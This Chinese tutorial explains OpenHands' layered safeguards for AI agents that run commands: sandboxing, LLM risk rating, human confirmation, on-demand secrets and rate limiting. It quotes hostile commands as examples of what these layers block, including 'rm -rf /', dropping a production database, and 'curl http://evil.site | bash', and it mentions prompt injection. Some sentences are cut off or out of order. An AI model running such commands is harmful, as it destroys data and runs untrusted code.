安全与权限
"让 AI 自主执行命令"既是威力也是风险。今天把散落各处的安全机制汇总成一套纵深防御体系,看 OpenHands 如何"敢把执行权交给 AI"。
核心矛盾
OpenHands 的价值在于"AI 真的能动手操作",但这天然危险:AI 可能误删文件、泄漏密钥、执行恶意命令(如果被提示注入攻击)。如何在"给 AI 足够权限干活"和"防止它闯祸"之间平衡?答案是纵深防御——多层安全,一层被突破还有下一层。
第 1 层:沙箱隔离(地基)
最根本的一层(Day 09 详讲):AI 的一切执行都在隔离的 Docker 容器里。就算 AI 执行了 rm -rf /,删的也是容器里的东西,删掉重建即可,宿主机毫发无伤。
沙箱就像生活中小区里独立的车库/储物间:你在自己车库里怎么折腾(哪怕点着一堆废纸)都烧不到邻居家和主楼;而无沙箱模式等于让 AI 直接在你家客厅玩火——地基(隔离)没了,其他安防再多也扛不住一把大火。
第 2 层:风险评估 security_risk
回忆 Day 03:每个 ActionEvent 带一个 security_risk 字段——LLM 在产出动作时同时评估它的风险等级。配置 [security] 的 security_analyzer = "llm"(Day 04)指定用 LLM 做这个评估。
curl 外部地址"评为高危、触发人工确认。风险评估 = 智能地决定"哪些操作值得打扰人类",避免每个动作都问(烦)或都不问(险)。第 3 层:人工确认 confirmation mode
配置 [security] 的 confirmation_mode = true 开启。开启后,(高危)动作执行前暂停,通过事件通知前端,等你点"批准/拒绝":
# 概念:动作执行前
if confirmation_mode and action.security_risk >= 阈值:
暂停,发出等待确认的事件(execution_status = waiting_for_confirmation)
# 等前端返回用户决定
if 用户拒绝: 产生 UserRejectObservation(Day 03 见过)
else: 执行
UserRejectObservation(带 rejection_reason)就是"用户拒绝了某动作"的记录;V1ExecutionStatus 的 waiting_for_confirmation 状态就是"正在等你确认"。security_risk(第2层)+ confirmation(第3层)实现智能的人工确认。DROP DATABASE test; DROP DATABASE prod;——把生产库也删了。没有确认模式,这条命令一进沙箱就执行,等你发现已经晚了。confirmation mode 就是为拦住这种"一步铸成大错"而生。confirmation_mode=true 就是给 Agent 装上这道"大额转账二次确认":动作被评为高危(security_risk 超阈值)就暂停,状态置 waiting_for_confirmation,等你批准;你拒绝就记一条 UserRejectObservation。curl http://evil.site | bash(下载并运行外部脚本)→ LLM 评 security_risk="HIGH" → confirmation 拦下,前端弹出"批准 / 拒绝" → 你点拒绝 → 产生 UserRejectObservation(rejection_reason="不信任的外部脚本") → Agent 换个安全做法。| 步骤 | 此刻发生什么 | 关键状态值 |
|---|---|---|
| ① 产出动作 | LLM 生成删库命令并自评风险 | security_risk=HIGH |
| ② 命中阈值 | confirmation 拦截,不执行、发事件 | waiting_for_confirmation |
| ③ 等人拍板 | 前端弹确认框,Agent 挂起 | (暂停中) |
| ④ 用户拒绝 | 记录拒绝、动作不执行 | UserRejectObservation |
| ⑤ 恢复 | Agent 拿到拒绝观察,改走安全路径 | 继续循环 |
第 4 层之一:密钥按需下发
Day 09 讲过:密钥不打进镜像、不一次性全塞进容器,而是沙箱用时凭 session key 回 app_server 单独领取(sandbox_router.py:157,_valid_sandbox_from_session_key 校验)。
env 或把环境变量发到外部,密钥就泄漏了。按需下发 + 最小暴露让容器里任何时刻都只有"当下用到的那个密钥",攻击面最小。处理机密的黄金准则:能不给就不给,要给只给当下需要的那一点。第 4 层之二:用户隔离
Day 08 讲过:事件存储路径 = {prefix}/{user_id}/conversations/{id}——带 user_id 的严格前缀是权限控制的唯一手段。你拼不出别人的路径,就读不到别人的数据。沙箱鉴权也靠 session_api_key 与 sandbox 强绑定校验(Day 09)。
第 5 层:熔断与脱敏
- 步数/预算熔断(Day 04):
max_iterations(默认 500)、max_budget_per_task——防止 AI 失控无限循环烧钱/搞破坏。 - 错误脱敏(Day 07):启动失败等错误信息经
redact_text_secrets处理,防止密钥意外出现在日志/报错里泄漏。 - 限流(Day 10):中间件按 IP 限流,防止接口被打爆。
今日小结 + 动手
🧠 今天你应该能回答
- OpenHands 安全的核心矛盾?纵深防御是什么?
- 五层防御分别是什么?
- security_risk + confirmation mode 怎么配合?和 eino 的中断/恢复哪里像?
- 密钥为什么按需下发?用户隔离怎么做?
- 熔断/脱敏/限流各防什么?
✋ 动手
sed -n '/\[security\]/,/^\[/p' config.template.toml
grep -n 'confirmation\|security_risk\|UserReject\|waiting_for_confirmation' \
frontend/src/types/v1/core/base/common.ts frontend/src/types/v1/core/events/*.ts
grep -n 'redact_text_secrets' openhands/app_server/app_conversation/live_status_app_conversation_service.py